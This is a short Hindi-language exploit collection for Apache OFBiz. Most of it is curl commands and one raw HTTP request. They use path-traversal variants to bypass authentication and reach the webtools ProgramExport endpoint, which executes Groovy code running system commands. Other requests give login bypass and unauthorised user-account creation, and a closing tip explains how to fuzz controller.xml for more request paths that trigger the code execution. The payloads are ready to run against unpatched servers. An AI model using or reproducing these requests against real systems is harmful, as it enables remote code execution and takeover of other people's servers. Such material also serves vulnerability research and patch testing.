
Apache OfBiz भेद्यताएँ
USERNAME और PASSWORD पैरामीटर /ecomseo/AnonContactus इंटरफ़ेस पर प्रदान किए जा सकते हैं, जो किसी के लिए भी सार्वजनिक रूप से सुलभ है।
POC1:RCE
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
POC2:आप प्रतिबंधित webtools प्रबंधन इंटरफ़ेस तक पहुँचने के लिए लॉगिन को बायपास कर सकते हैं।
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/login/' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y'
POC3:आप एक सामान्य उपयोगकर्ता खाता पंजीकृत कर सकते हैं, जहाँ userLoginId उपयोगकर्ता नाम के रूप में होता है।
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/createUserLogin' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'enabled=Y' \
--data-urlencode 'partyId=' \
--data-urlencode 'userLoginId=30000' \
--data-urlencode 'currentPassword=12345' \
--data-urlencode 'currentPasswordVerify=12345' \
--data-urlencode 'passwordHint=' \
--data-urlencode 'requirePasswordChange=N' \
--data-urlencode 'securityQuestion=' \
--data-urlencode 'SecurityAnswer=' \
--data-urlencode 'externalAuthId='
RCE1
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/.%2e/.%2e/.%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
RCE2
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/..;/..;/..;/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
PS: ; कुकी सेटिंग में exception उत्पन्न करेगा, आपको कुकी मैन्युअल रूप से प्राप्त करनी होगी।


RCE
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
PS:forgotPassword को अन्य अनुरोधों से बदला जा सकता है। आप fuzzing करने के लिए webapp/webtools/WEB-INF/controller.xml में इसे खोजने का प्रयास कर सकते हैं (जैसा कि चित्र में दिखाया गया है)। जब तक अनुरोध सफलतापूर्वक success लौटाता है, यह ProgramExport मॉड्यूल में RCE ट्रिगर कर सकता है।
